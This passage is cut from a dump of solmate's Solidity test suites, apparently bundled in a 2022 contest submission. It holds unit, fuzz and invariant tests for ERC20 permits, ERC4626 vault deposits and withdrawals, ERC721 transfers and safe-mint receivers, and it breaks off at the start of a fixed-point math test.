function testFailTransferFromInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), mintAmount);
from.approve(address(this), sendAmount);
token.transferFrom(address(from), to, sendAmount);
}
function testFailPermitBadNonce(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline,
uint256 nonce
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
if (nonce == 0) nonce = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, nonce, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitBadDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline + 1, v, r, s);
}
function testFailPermitPastDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
deadline = bound(deadline, 0, block.timestamp - 1);
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitReplay(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
token.permit(owner, to, amount, deadline, v, r, s);
}
}
contract ERC20Invariants is DSTestPlus, DSInvariantTest {
BalanceSum balanceSum;
MockERC20 token;
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
balanceSum = new BalanceSum(token);
addTargetContract(address(balanceSum));
}
function invariantBalanceSum() public {
assertEq(token.totalSupply(), balanceSum.sum());
}
}
contract BalanceSum {
MockERC20 token;
uint256 public sum;
constructor(MockERC20 _token) {
token = _token;
}
function mint(address from, uint256 amount) public {
token.mint(from, amount);
sum += amount;
}
function burn(address from, uint256 amount) public {
token.burn(from, amount);
sum -= amount;
}
function approve(address to, uint256 amount) public {
token.approve(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public {
token.transferFrom(from, to, amount);
}
function transfer(address to, uint256 amount) public {
token.transfer(to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC4626.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {MockERC4626} from "./utils/mocks/MockERC4626.sol";
import {ERC4626User} from "./utils/users/ERC4626User.sol";
contract ERC4626Test is DSTestPlus {
MockERC20 underlying;
MockERC4626 vault;
function setUp() public {
underlying = new MockERC20("Mock Token", "TKN", 18);
vault = new MockERC4626(underlying, "Mock Token Vault", "vwTKN");
}
function invariantMetadata() public {
assertEq(vault.name(), "Mock Token Vault");
assertEq(vault.symbol(), "vwTKN");
assertEq(vault.decimals(), 18);
}
function invariantAssetsPerShare() public {
assertGe(vault.assetsPerShare(), 1e18);
}
function testMetaData() public {
assertEq(vault.name(), "Mock Token Vault");
assertEq(vault.symbol(), "vwTKN");
assertEq(vault.decimals(), 18);
}
function testSingleDepositWithdraw(uint128 amount) public {
if (amount == 0) amount = 1;
uint256 aliceUnderlyingAmount = amount;
ERC4626User alice = new ERC4626User(vault, underlying);
underlying.mint(address(alice), aliceUnderlyingAmount);
alice.approve(address(vault), aliceUnderlyingAmount);
assertEq(underlying.allowance(address(alice), address(vault)), aliceUnderlyingAmount);
uint256 alicePreDepositBal = underlying.balanceOf(address(alice));
uint256 aliceShareAmount = alice.deposit(aliceUnderlyingAmount, address(alice));
assertEq(vault.afterDepositHookCalledCounter(), 1);
// Expect exchange rate to be 1:1 on initial deposit.
assertEq(aliceUnderlyingAmount, aliceShareAmount);
assertEq(vault.previewWithdraw(aliceShareAmount), aliceUnderlyingAmount);
assertEq(vault.previewDeposit(aliceUnderlyingAmount), aliceShareAmount);
assertEq(vault.totalSupply(), aliceShareAmount);
assertEq(vault.totalAssets(), aliceUnderlyingAmount);
assertEq(vault.balanceOf(address(alice)), aliceShareAmount);
assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);
assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal - aliceUnderlyingAmount);
alice.withdraw(aliceUnderlyingAmount, address(alice), address(alice));
assertEq(vault.beforeWithdrawHookCalledCounter(), 1);
assertEq(vault.totalAssets(), 0);
assertEq(vault.balanceOf(address(alice)), 0);
assertEq(vault.assetsOf(address(alice)), 0);
assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal);
}
function testSingleMintRedeem(uint128 amount) public {
if (amount == 0) amount = 1;
uint256 aliceShareAmount = amount;
ERC4626User alice = new ERC4626User(vault, underlying);
underlying.mint(address(alice), aliceShareAmount);
alice.approve(address(vault), aliceShareAmount);
assertEq(underlying.allowance(address(alice), address(vault)), aliceShareAmount);
uint256 alicePreDepositBal = underlying.balanceOf(address(alice));
uint256 aliceUnderlyingAmount = alice.mint(aliceShareAmount, address(alice));
assertEq(vault.afterDepositHookCalledCounter(), 1);
// Expect exchange rate to be 1:1 on initial mint.
assertEq(aliceShareAmount, aliceUnderlyingAmount);
assertEq(vault.previewWithdraw(aliceShareAmount), aliceUnderlyingAmount);
assertEq(vault.previewDeposit(aliceUnderlyingAmount), aliceShareAmount);
assertEq(vault.totalSupply(), aliceShareAmount);
assertEq(vault.totalAssets(), aliceUnderlyingAmount);
assertEq(vault.balanceOf(address(alice)), aliceUnderlyingAmount);
assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);
assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal - aliceUnderlyingAmount);
alice.redeem(aliceShareAmount, address(alice), address(alice));
assertEq(vault.beforeWithdrawHookCalledCounter(), 1);
assertEq(vault.totalAssets(), 0);
assertEq(vault.balanceOf(address(alice)), 0);
assertEq(vault.assetsOf(address(alice)), 0);
assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal);
}
function testMultipleMintDepositRedeemWithdraw() public {
// Scenario:
// - Alice mints 2e18 tokens
// - Bob deposits 4e18 tokens
// - Vault mutates by +3e18 tokens (simulated yield returned from strategy)
// - Alice redeems 2e18 tokens + 1e18 tokens (33.33%)
// - Bob redeems 4e18 tokens + 2e18 tokens (66.66%)
ERC4626User alice = new ERC4626User(vault, underlying);
ERC4626User bob = new ERC4626User(vault, underlying);
uint256 aliceDesiredShareAmount = 2e18;
uint256 bobDesiredUnderlyingAmount = 4e18;
uint256 mutationUnderlyingAmount = 3e18;
underlying.mint(address(alice), 2e18);
alice.approve(address(vault), 2e18);
assertEq(underlying.allowance(address(alice), address(vault)), 2e18);
underlying.mint(address(bob), 4e18);
bob.approve(address(vault), 4e18);
assertEq(underlying.allowance(address(bob), address(vault)), 4e18);
// Alice mints.
uint256 aliceUnderlyingAmount = alice.mint(aliceDesiredShareAmount, address(alice));
uint256 aliceShareAmount = vault.previewDeposit(aliceUnderlyingAmount);
assertEq(vault.afterDepositHookCalledCounter(), 1);
// Expect to have received the requested mint amount.
assertEq(aliceShareAmount, aliceDesiredShareAmount);
assertEq(vault.balanceOf(address(alice)), aliceShareAmount);
assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);
// Expect a 1:1 ratio before mutation.
assertEq(aliceUnderlyingAmount, aliceDesiredShareAmount);
// Sanity check.
assertEq(vault.totalSupply(), aliceShareAmount);
assertEq(vault.totalAssets(), aliceUnderlyingAmount);
// Bob deposits.
uint256 bobShareAmount = bob.deposit(bobDesiredUnderlyingAmount, address(bob));
uint256 bobUnderlyingAmount = vault.previewWithdraw(bobShareAmount);
assertEq(vault.afterDepositHookCalledCounter(), 2);
// Expect to have received the requested underlying amount.
assertEq(bobUnderlyingAmount, bobDesiredUnderlyingAmount);
assertEq(vault.balanceOf(address(bob)), bobShareAmount);
assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount);
// Expect a 1:1 ratio before mutation.
assertEq(bobShareAmount, bobUnderlyingAmount);
// Sanity check.
uint256 preMutationShareBal = aliceShareAmount + bobShareAmount;
uint256 preMutationBal = aliceUnderlyingAmount + bobUnderlyingAmount;
assertEq(vault.totalSupply(), preMutationShareBal);
assertEq(vault.totalAssets(), preMutationBal);
// Simulate a positive mutation (+3e18) within the Vault.
// The Vault now contains more tokens than deposited which causes the exchange rate to change.
// Alice share is 33.33% of the Vault, Bob 66.66% of the Vault.
// Alice's share count stays the same but the underlying amount changes from 2e18 to 3e18.
// Bob's share count stays the same but the underlying amount changes from 4e18 to 6e18.
underlying.mint(address(vault), mutationUnderlyingAmount);
assertEq(vault.totalSupply(), preMutationShareBal);
assertEq(vault.totalAssets(), preMutationBal + mutationUnderlyingAmount);
assertEq(vault.balanceOf(address(alice)), aliceShareAmount);
assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount + (mutationUnderlyingAmount / 3) * 1);
assertEq(vault.balanceOf(address(bob)), bobShareAmount);
assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2);
// Alice redeems her share balance
uint256 aliceRedeemUnderlyingAmount = alice.redeem(aliceShareAmount, address(alice), address(alice));
assertEq(vault.beforeWithdrawHookCalledCounter(), 1);
assertEq(aliceRedeemUnderlyingAmount, aliceUnderlyingAmount + (mutationUnderlyingAmount / 3) * 1);
assertEq(vault.balanceOf(address(alice)), 0);
assertEq(vault.assetsOf(address(alice)), 0);
assertEq(vault.totalSupply(), preMutationShareBal - aliceShareAmount);
assertEq(vault.totalAssets(), preMutationBal + mutationUnderlyingAmount - aliceRedeemUnderlyingAmount);
// Bob withdraws his share balance (share balance remains the same)
assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2);
assertEq(vault.balanceOf(address(bob)), bobShareAmount);
uint256 bobWithdrawShareAmount = bob.withdraw(
bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2,
address(bob),
address(bob)
);
assertEq(vault.beforeWithdrawHookCalledCounter(), 2);
assertEq(bobWithdrawShareAmount, bobShareAmount);
assertEq(vault.balanceOf(address(bob)), 0);
assertEq(vault.assetsOf(address(bob)), 0);
// Alice and Bob left the Vault, should be empty again.
assertEq(vault.totalSupply(), 0);
assertEq(vault.totalAssets(), 0);
}
function testFailDepositWithNotEnoughApproval() public {
underlying.mint(address(this), 0.5e18);
underlying.approve(address(vault), 0.5e18);
assertEq(underlying.allowance(address(this), address(vault)), 0.5e18);
vault.deposit(1e18, address(this));
}
function testFailWithdrawWithNotEnoughUnderlyingAmount() public {
underlying.mint(address(this), 0.5e18);
underlying.approve(address(vault), 0.5e18);
vault.deposit(0.5e18, address(this));
vault.withdraw(1e18, address(this), address(this));
}
function testFailRedeemWithNotEnoughShareAmount() public {
underlying.mint(address(this), 0.5e18);
underlying.approve(address(vault), 0.5e18);
vault.deposit(0.5e18, address(this));
vault.redeem(1e18, address(this), address(this));
}
function testFailWithdrawWithNoUnderlyingAmount() public {
vault.withdraw(1e18, address(this), address(this));
}
function testFailRedeemWithNoShareAmount() public {
vault.redeem(1e18, address(this), address(this));
}
function testFailDepositWithNoApproval() public {
vault.deposit(1e18, address(this));
}
function testFailMintWithNoApproval() public {
vault.mint(1e18, address(this));
}
function testFailDepositZero() public {
vault.deposit(0, address(this));
}
function testMintZero() public {
vault.mint(0, address(this));
assertEq(vault.balanceOf(address(this)), 0);
assertEq(vault.assetsOf(address(this)), 0);
assertEq(vault.totalSupply(), 0);
assertEq(vault.totalAssets(), 0);
}
function testFailRedeemZero() public {
vault.redeem(0, address(this), address(this));
}
function testWithdrawZero() public {
vault.withdraw(0, address(this), address(this));
assertEq(vault.balanceOf(address(this)), 0);
assertEq(vault.assetsOf(address(this)), 0);
assertEq(vault.totalSupply(), 0);
assertEq(vault.totalAssets(), 0);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC721.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC721} from "./utils/mocks/MockERC721.sol";
import {ERC721User} from "./utils/users/ERC721User.sol";
import {ERC721TokenReceiver} from "../tokens/ERC721.sol";
contract ERC721Recipient is ERC721TokenReceiver {
address public operator;
address public from;
uint256 public id;
bytes public data;
function onERC721Received(
address _operator,
address _from,
uint256 _id,
bytes calldata _data
) public virtual override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
data = _data;
return ERC721TokenReceiver.onERC721Received.selector;
}
}
contract RevertingERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));
}
}
contract WrongReturnDataERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC721Recipient {}
contract ERC721Test is DSTestPlus {
MockERC721 token;
function setUp() public {
token = new MockERC721("Token", "TKN");
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMint() public {
token.mint(address(0xBEEF), 1337);
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.ownerOf(1337), address(0xBEEF));
}
function testBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
assertEq(token.balanceOf(address(0xBEEF)), 0);
assertEq(token.ownerOf(1337), address(0));
}
function testApprove() public {
token.mint(address(this), 1337);
token.approve(address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0xBEEF));
}
function testApproveBurn() public {
token.mint(address(this), 1337);
token.approve(address(0xBEEF), 1337);
token.burn(1337);
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.ownerOf(1337), address(0));
assertEq(token.getApproved(1337), address(0));
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testTransferFrom() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.approve(address(this), 1337);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337, "testing 123");
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "testing 123");
}
function testSafeMintToEOA() public {
token.safeMint(address(0xBEEF), 1337);
assertEq(token.ownerOf(1337), address(address(0xBEEF)));
assertEq(token.balanceOf(address(address(0xBEEF))), 1);
}
function testSafeMintToERC721Recipient() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337);
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337, "testing 123");
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "testing 123");
}
function testFailMintToZero() public {
token.mint(address(0), 1337);
}
function testFailDoubleMint() public {
token.mint(address(0xBEEF), 1337);
token.mint(address(0xBEEF), 1337);
}
function testFailBurnUnMinted() public {
token.burn(1337);
}
function testFailDoubleBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
token.burn(1337);
}
function testFailApproveUnMinted() public {
token.approve(address(0xBEEF), 1337);
}
function testFailApproveUnAuthorized() public {
token.mint(address(0xCAFE), 1337);
token.approve(address(0xBEEF), 1337);
}
function testFailTransferFromUnOwned() public {
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromWrongFrom() public {
token.mint(address(0xCAFE), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromToZero() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0), 1337);
}
function testFailTransferFromNotOwner() public {
token.mint(address(0xFEED), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailSafeTransferFromToNonERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);
}
function testFailSafeTransferFromToNonERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToRevertingERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToNonERC721Recipient() public {
token.safeMint(address(new NonERC721Recipient()), 1337);
}
function testFailSafeMintToNonERC721RecipientWithData() public {
token.safeMint(address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToRevertingERC721Recipient() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeMintToRevertingERC721RecipientWithData() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToERC721RecipientWithWrongReturnData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testMetadata(string memory name, string memory symbol) public {
MockERC721 tkn = new MockERC721(name, symbol);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
}
function testMint(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
assertEq(token.balanceOf(to), 1);
assertEq(token.ownerOf(id), to);
}
function testBurn(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
assertEq(token.balanceOf(to), 0);
assertEq(token.ownerOf(id), address(0));
}
function testApprove(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.approve(to, id);
assertEq(token.getApproved(id), to);
}
function testApproveBurn(address to, uint256 id) public {
token.mint(address(this), id);
token.approve(address(to), id);
token.burn(id);
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.ownerOf(id), address(0));
assertEq(token.getApproved(id), address(0));
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testTransferFrom(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.approve(address(this), id);
token.transferFrom(address(from), to, id);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.transferFrom(address(this), to, id);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), to, id);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient(uint256 id) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id, data);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), data);
}
function testSafeMintToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.safeMint(to, id);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
}
function testSafeMintToERC721Recipient(uint256 id) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id, data);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), data);
}
function testFailMintToZero(uint256 id) public {
token.mint(address(0), id);
}
function testFailDoubleMint(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.mint(to, id);
}
function testFailBurnUnMinted(uint256 id) public {
token.burn(id);
}
function testFailDoubleBurn(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
token.burn(id);
}
function testFailApproveUnMinted(uint256 id, address to) public {
token.approve(to, id);
}
function testFailApproveUnAuthorized(
address owner,
uint256 id,
address to
) public {
if (owner == address(0)) to = address(0xBEEF);
if (owner == address(this)) return;
token.mint(owner, id);
token.approve(to, id);
}
function testFailTransferFromUnOwned(
address from,
address to,
uint256 id
) public {
token.transferFrom(from, to, id);
}
function testFailTransferFromWrongFrom(
address owner,
address from,
address to,
uint256 id
) public {
if (owner == address(0)) to = address(0xBEEF);
if (from == owner) revert();
token.mint(owner, id);
token.transferFrom(from, to, id);
}
function testFailTransferFromToZero(uint256 id) public {
token.mint(address(this), id);
token.transferFrom(address(this), address(0), id);
}
function testFailTransferFromNotOwner(
address from,
address to,
uint256 id
) public {
if (from == address(0)) to = address(0xBEEF);
token.mint(from, id);
token.transferFrom(from, to, id);
}
function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);
}
function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);
}
function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)
public
{
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);
}
function testFailSafeMintToNonERC721Recipient(uint256 id) public {
token.safeMint(address(new NonERC721Recipient()), id);
}
function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new NonERC721Recipient()), id, data);
}
function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {
token.safeMint(address(new RevertingERC721Recipient()), id);
}
function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/FixedPointMathLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
contract FixedPointMathLibTest is DSTestPlus {
function testMulWadDown() public {
assertEq(FixedPointMathLib.mulWadDown(2.5e18, 0.5e18), 1.25e18);
assertEq(FixedPointMathLib.mulWadDown(3e18, 1e18), 3e18);
